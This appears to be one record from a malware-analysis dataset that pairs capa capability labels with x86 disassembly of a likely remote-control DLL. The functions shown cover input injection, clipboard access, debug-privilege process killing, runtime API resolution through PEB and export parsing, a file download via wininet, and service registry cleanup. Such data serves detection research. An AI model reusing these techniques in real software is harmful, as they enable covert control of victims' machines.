joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004c5d
Capabilities:
Encode data using xor
Get file size
Packed with generic packer
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push edi
lea eax, [ebp - 0x214]
xor edi, edi
push 0x104
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 8], edi
call fcn.1000574e
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x214]
push eax
call fcn.10009c1e
pop ecx
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x214]
push str.log.sc
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [ebp - 0x214]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10004d27
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea eax, [esi + esi]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ebx, eax
lea eax, [ebp - 8]
push edi
push eax
push esi
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, esi
shr ecx, 1
je 0x10004d12
mov eax, ebx
xor word [eax], 0x60
inc eax
inc eax
dec ecx
jne 0x10004d09
mov ecx, dword [ebp - 0xc]
push esi
push ebx
call fcn.10004c13
push ebx
mov edi, eax
jmp 0x10024ac4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
leave
ret

Function at 0x10004d90
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x1001336c
call fcn.1000c73c
push ecx
push ecx
push ebx
push esi
mov ecx, dword [ecx + 4]
push edi
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 0x10], esp
push dword [ebp + 0xc]
push dword [ebp + 8]
jmp loc.1002624d

Function at 0x10004df6
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x10013380
call fcn.1000c73c
push ecx
push esi
push edi
push dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.10004d35
xor edi, edi
mov ecx, esi
mov dword [ebp - 4], edi
mov dword [esi], 0x1001429c
call fcn.10004ed4
test al, al
je 0x10004e54
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x79
call fcn.10004d90
mov ecx, esi
call fcn.10004dd5
push edi
push edi
push edi
push esi
push 0x10004fc1
push edi
push edi
call fcn.100097ed
add esp, 0x1c
mov dword [esi + 0x18], eax
jmp loc.10025c4a
Function at 0x100051c4
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 1
xor esi, esi
pop ebx
cmp dword [ebp + 8], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
je 0x10005239
cmp dword [ebp + 0x10], esi
je 0x10005239
mov eax, dword [ecx + 0x48]
mov edx, dword [ebp + 0xc]
cmp edx, dword [eax + 0x14]
jne 0x10005239
cmp dword [ecx + 0x44], esi
je 0x10005239
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ecx + 4]
push dword [ebp + 8]
push esi
push eax
call dword [ecx + 0x84]
mov edi, eax
cmp edi, esi
je 0x10005239
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
cmp ecx, esi
je 0x10005219
mov dword [ecx], edx
mov ecx, dword [ebp + 0x18]
cmp ecx, esi
je 0x10005228
cmp dword [ebp - 8], esi
setne al
mov byte [ecx], al
push edx
push edi
push dword [ebp + 0x10]
jmp 0x100226c6
xor al, al
pop edi
pop esi
pop ebx
leave
ret 0x14

Function at 0x1000531b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x100133dc
call fcn.1000c73c
sub esp, 0x18
push ebx
push esi
mov esi, ecx
jmp loc.10024c2b

Function at 0x10005618
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
popal
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005641
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
cmp ebx, edi
je 0x10005711
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov esi, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
add esi, ebx
cmp eax, 0x10000
jae 0x10005690
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
add edx, ecx
cmp eax, edx
jae 0x10005711
cmp eax, ecx
jb 0x10005711
sub eax, ecx
jmp fcn.100056db
mov ecx, dword [esi + 0x20]
mov dword [ebp + 8], edi
add ecx, ebx
cmp dword [esi + 0x18], edi
jbe 0x10005747
mov dword [ebp - 4], ecx
jmp 0x100056a9
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
add ecx, ebx
push ecx
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x100056ce
inc dword [ebp + 8]
add dword [ebp - 4], 4
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x18]
jb 0x100056a6
jmp 0x10005747
mov eax, dword [esi + 0x24]
mov ecx, dword [ebp + 8]
jmp loc.10023269
xor eax, eax
jmp 0x10005749
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005bd2
Capabilities:
Packed with generic packer

Disassembly:
push ebx
mov ebx, ecx
push esi
push edi
mov ecx, dword [ebx + 0xa8]
jmp loc.10023e21

Function at 0x10005c31
Capabilities:
Packed with generic packer

Disassembly:
push ebx
mov ebx, ecx
mov ecx, dword [ebx + 0xa8]
push ebp
push esi
lea esi, [ebx + 0xa8]
push edi
call fcn.10006896
mov ebp, eax
test ebp, ebp
je 0x10005c89
mov ecx, dword [esi]
jmp loc.10021dd9
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10005e86
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
push edi
push 0x1c
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x10006021
push ebx
push esi
call fcn.1000984b
mov eax, dword [ebp + 0xc]
push 0x1c
xor edx, edx
pop ecx
div ecx
push str.user32.dll
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.mouse_event
push edi
mov dword [ebp - 0x10], edi
call esi
push str.keybd_event
push edi
mov dword [ebp + 0xc], eax
call esi
push str.SetCursorPos
push edi
mov dword [ebp - 4], eax
call esi
push str.SetCapture
push edi
mov dword [ebp - 8], eax
call esi
xor esi, esi
mov dword [ebp - 0xc], eax
cmp ebx, esi
jle 0x10006014
mov eax, dword [ebp + 8]
mov dword [ebp + 8], ebx
lea edi, [eax + 8]
mov eax, dword [edi - 4]
cmp eax, 0x200
jb 0x10005f38
cmp eax, 0x208
ja 0x10005f38
mov ebx, dword [edi + 4]
movzx eax, word [edi + 4]
shr ebx, 0x10
push ebx
push eax
mov dword [ebp - 0x18], eax
call dword [ebp - 8]
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [ebp - 0xc]
mov ecx, dword [edi - 4]
mov eax, 0x203
cmp ecx, eax
ja 0x10005fa8
je 0x10005f97
sub ecx, 0x100
je 0x10005f93
dec ecx
je 0x10005f7e
sub ecx, 3
je 0x10005f93
dec ecx
je 0x10005f7e
jmp 0x1002589c
push esi
push 2
push esi
push dword [edi]
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push eax
mov al, byte [edi]
push eax
call dword [ebp - 4]
jmp 0x10006005
push esi
push esi
jmp 0x10005f81
push esi
push esi
push esi
push esi
push 6
call dword [ebp + 0xc]
push esi
push esi
push esi
push esi
push 6
jmp 0x10006002
sub ecx, 0x204
je 0x10005ffc
dec ecx
je 0x10005ff4
dec ecx
je 0x10005fe3
dec ecx
je 0x10005fdb
dec ecx
je 0x10005fd3
dec ecx
dec ecx
jne 0x10006005
mov eax, dword [edi]
push esi
shr eax, 0x10
movsx eax, ax
push eax
push esi
push esi
push 0x800
jmp 0x10006002
push esi
push esi
push esi
push esi
push 0x40
jmp 0x10006002
push esi
push esi
push esi
push esi
push 0x20
jmp 0x10006002
push esi
push esi
push esi
push esi
push 0x18
call dword [ebp + 0xc]
push esi
push esi
push esi
push esi
push 0x18
jmp 0x10006002
push esi
push esi
push esi
push esi
push 0x10
jmp 0x10006002
push esi
push esi
push esi
push esi
push 8
call dword [ebp + 0xc]
add edi, 0x1c
dec dword [ebp + 8]
jne 0x10005f07
mov edi, dword [ebp - 0x10]
cmp edi, esi
pop esi
pop ebx
je 0x10006021
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
leave
ret 8
Function at 0x10006026
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10006084
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [esp + 0xc]
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x1000607d
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [esp + 0xc]
push dword [esp + 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret 8

Function at 0x10006087
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ecx
push ebx
mov dword [esp + 4], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10006103
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x100060af
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x10006103
push ebp
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov esi, eax
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
jmp 0x1002627e
pop ebx
pop ecx
ret

Function at 0x1000647a
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
mov esi, ecx
je 0x100065a8
cmp dword [esi + 0x1c], 0
je 0x100065a8
jmp loc.100210f8
xor eax, eax

Function at 0x10006ba1
Capabilities:
Copy file
Delete file

Disassembly:
mov eax, 0x100134a8
call fcn.1000c73c
sub esp, 0x478
push ebx
push esi
push edi
mov ebx, ecx
push dword [ebp + 8]
mov dword [ebp - 0x30], ebx
call fcn.10004d35
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
xor esi, esi
pop ecx
xor eax, eax
lea edi, [ebp - 0x70]
mov dword [ebp - 0x74], esi
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x28]
mov dword [ebp - 0x2c], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea edi, [ebx + 0x18]
push str.CreatePipe
mov dword [ebp - 4], esi
mov dword [ebx], 0x100142c0
mov dword [ebx + 0x10], esi
mov dword [ebx + 0x14], esi
jmp loc.10023bea
Function at 0x1000765b
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov edi, str.SeDebugPrivilege
push 1
push edi
call fcn.1000726e
pop ecx
pop ecx
push str.OpenProcess
call fcn.10005618
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.TerminateProcess
mov dword [ebp - 4], eax
call fcn.10005618
push eax
call esi
push str.CloseHandle
mov dword [ebp - 8], eax
call fcn.10005618
push eax
call esi
xor esi, esi
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0xc], esi
jbe 0x100076d5
push ebx
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [ebp - 4]
mov ebx, eax
push 0
push ebx
call dword [ebp - 8]
push ebx
call dword [ebp - 0xc]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x100076b0
pop ebx
push 0
push edi
call fcn.1000726e
pop ecx
pop ecx
pop edi
pop esi
leave
ret 8

Function at 0x100077ab
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x100134f8
call fcn.1000c73c
sub esp, 0xc58
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ecx
push str.LoadLibraryW
mov dword [ebp - 0x18], ebx
call fcn.10005618
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.USER32.DLL
call eax
push str.EnumWindows
push eax
call fcn.10005641
pop ecx
pop ecx
lea ecx, [ebp - 0x18]
push ecx
push 0x1000776b
call eax
push str.LocalSize
call fcn.10005618
push eax
call esi
push dword [ebp - 0x18]
call eax
mov esi, eax
mov al, byte [ebp - 0x19]
mov byte [ebp - 0x30], al
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.100088ae
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], ebx
shr dword [ebp - 0x10], 2
je 0x10007933
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
Function at 0x100079bf
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push esi
push edi
mov esi, dword [eax]
push esi
mov dword [ebp + 0xc], esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10007a11
mov eax, dword [ebp + 8]
test eax, eax
jne 0x100079ee
push 3
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
pop eax
jmp 0x10007a11
push 1
pop edi
cmp eax, edi
jne 0x100079f9
push 6
jmp 0x10007a08
cmp eax, 2
jne 0x10007a02
push 0
jmp 0x10007a08
cmp eax, 3
jne 0x10007a17
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, edi
pop edi
pop esi
leave
ret 0xc
cmp eax, 4
jne 0x10007a25
push esi
call dword [sym.imp.USER32.dll_CloseWindow]
jmp 0x10007a0f
cmp eax, 5
jne 0x10007a0f
push ebx
push str.OpenProcess
call fcn.10005618
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.TerminateProcess
mov ebx, eax
call fcn.10005618
push eax
call esi
push str.CloseHandle
mov dword [ebp - 4], eax
call fcn.10005618
push eax
call esi
mov esi, str.SeDebugPrivilege
push edi
push esi
mov dword [ebp - 8], eax
call fcn.1000726e
pop ecx
lea eax, [ebp + 8]
pop ecx
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp + 8]
push 0
push 0x1f0fff
call ebx
mov ebx, eax
push 0
push ebx
call dword [ebp - 4]
push ebx
call dword [ebp - 8]
push 0
push esi
jmp 0x10023844

Function at 0x10007d3e
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push str.LoadLibraryW
call fcn.10005618
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ADVAPI32.DLL
call eax
mov esi, eax
push str.OpenSCManagerW
push esi
call fcn.10005641
push str.OpenServiceW
push esi
mov edi, eax
jmp loc.10022ff1

Function at 0x10007e15
Capabilities:
Packed with generic packer

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push str.LoadLibraryW
call fcn.10005618
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ADVAPI32.DLL
call eax
mov esi, eax
push str.OpenSCManagerW
push esi
call fcn.10005641
push str.OpenServiceW
push esi
mov edi, eax
jmp loc.10021856

Function at 0x100083cf
Capabilities:
Acquire debug privileges
Link many functions at runtime

Disassembly:
mov eax, 0x10013534
call fcn.1000c73c
sub esp, 0x264
mov al, byte [ebp - 0x45]
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x4c], ecx
mov byte [ebp - 0x3c], al
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], ebx
call fcn.100088ed
push str.LoadLibraryW
call fcn.10005618
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov edi, eax
push str.iphlpapi.dll
call edi
cmp eax, ebx
mov dword [ebp - 0x2c], eax
je 0x10008845
push str.OpenProcess
jmp loc.100218bc
Function at 0x100097ed
Capabilities:
Create thread
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x10009789
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
jmp loc.10024d27

Function at 0x1000984b
Capabilities:
Link many functions at runtime
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.user32.dll
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.GetUserObjectInformationW
push edi
call esi
push str.GetThreadDesktop
push edi
mov dword [ebp - 0x14], eax
call esi
push str.OpenInputDesktop
push edi
mov dword [ebp - 8], eax
call esi
push str.SetThreadDesktop
push edi
mov dword [ebp - 4], eax
call esi
push str.CloseDesktop
push edi
mov dword [ebp - 0x1c], eax
call esi
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [ebp - 8]
mov esi, 0x200
mov dword [ebp - 8], eax
push esi
lea eax, [ebp - 0x21c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x21c]
push esi
push eax
push 2
push dword [ebp - 8]
call dword [ebp - 0x14]
push 0x2000000
push ebx
push ebx
call dword [ebp - 4]
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x41c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
push 2
push dword [ebp - 4]
call dword [ebp - 0x14]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10009934
push dword [ebp - 4]
call dword [ebp - 0x1c]
mov dword [ebp - 0xc], 1
push dword [ebp - 8]
call dword [ebp - 0x10]
push dword [ebp - 4]
call dword [ebp - 0x10]
cmp edi, ebx
je 0x1000994b
push edi
jmp 0x10025424
xor eax, eax
cmp dword [ebp - 0xc], ebx
pop edi
pop esi
setne al
pop ebx
leave
ret
Function at 0x10009958
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.GetUserObjectInformationW
push edi
call esi
push str.GetThreadDesktop
push edi
mov ebx, eax
call esi
push str.SetThreadDesktop
push edi
mov dword [ebp - 4], eax
call esi
push str.CloseDesktop
push edi
mov dword [ebp - 8], eax
call esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [ebp - 4]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x20c]
push pe_nt_image_headers32
push eax
push 2
push dword [ebp + 8]
call ebx
test eax, eax
je 0x100099d3
push dword [ebp + 8]
call dword [ebp - 8]
test eax, eax
jne 0x100099d7
xor eax, eax
jmp 0x100099ea
push dword [ebp - 4]
call esi
test edi, edi
je 0x100099e7
push edi
jmp 0x100230ad
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100099ef
Capabilities:
Packed with generic packer

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp loc.100220b6

Function at 0x10009a79
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
push str.GetThreadDesktop
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call edi
push str.Winlogon
mov edi, eax
call fcn.100099ef
test eax, eax
pop ecx
je 0x10009ae0
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageW]
test edi, edi
je 0x10009ad2
push edi
call fcn.10009958
pop ecx
test esi, esi
je 0x10009add
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 1
pop eax
pop edi
pop esi
ret
Function at 0x10009ae3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
push 1
pop eax
xor edi, edi
push str.wininet.dll
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
cmp ebx, edi
je 0x10009c11
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push ebx
call esi
push str.InternetOpenUrlA
push ebx
mov dword [ebp - 4], eax
call esi
push str.InternetCloseHandle
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.InternetReadFile
push ebx
mov dword [ebp - 0x10], eax
call esi
push edi
push edi
push edi
push edi
push str.Mozilla_4.0__compatible_
mov dword [ebp - 0x18], eax
call dword [ebp - 4]
cmp eax, edi
mov dword [ebp - 0x20], eax
je 0x10009b70
push edi
push 0x80000000
push edi
push edi
push dword [ebp + 8]
push eax
call dword [ebp - 0x24]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x10009b77
xor al, al
jmp 0x10021295
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10009bf9
jmp 0x100235c0
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call esi
push dword [ebp - 4]
call dword [ebp - 0x10]
push dword [ebp - 0x20]
call dword [ebp - 0x10]
push ebx
call esi
xor eax, eax
cmp dword [ebp - 0xc], edi
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10009db5
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4a18
call fcn.1000c760
push ebx
push esi
push edi
xor ebx, ebx
push 0x800
lea eax, [ebp - 0xa18]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xa18]
push dword [ebp + 8]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.RegOpenKeyExW
push edi
call esi
push str.RegDeleteValueW
push edi
mov dword [ebp + 8], eax
call esi
push str.RegQueryValueExW
push edi
mov dword [ebp - 8], eax
call fcn.10005641
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
push str.RegCloseKey
push edi
call esi
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0xa18]
push ebx
push eax
push 0x80000002
call dword [ebp + 8]
test eax, eax
jne 0x10009eff
push 0x4000
lea eax, [ebp - 0x4a18]
push ebx
push eax
mov dword [ebp - 0x10], 2
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x2000
push eax
lea eax, [ebp - 0x4a18]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x1001b894
push dword [ebp - 4]
call dword [ebp - 0xc]
lea eax, [ebp - 0x4a18]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x1001b87c
push dword [ebp - 4]
call dword [ebp - 8]
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x10009eff
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x10009eff
inc ebx
cmp ebx, 0x19
jl 0x10009edd
pop edi
pop esi
pop ebx
leave
ret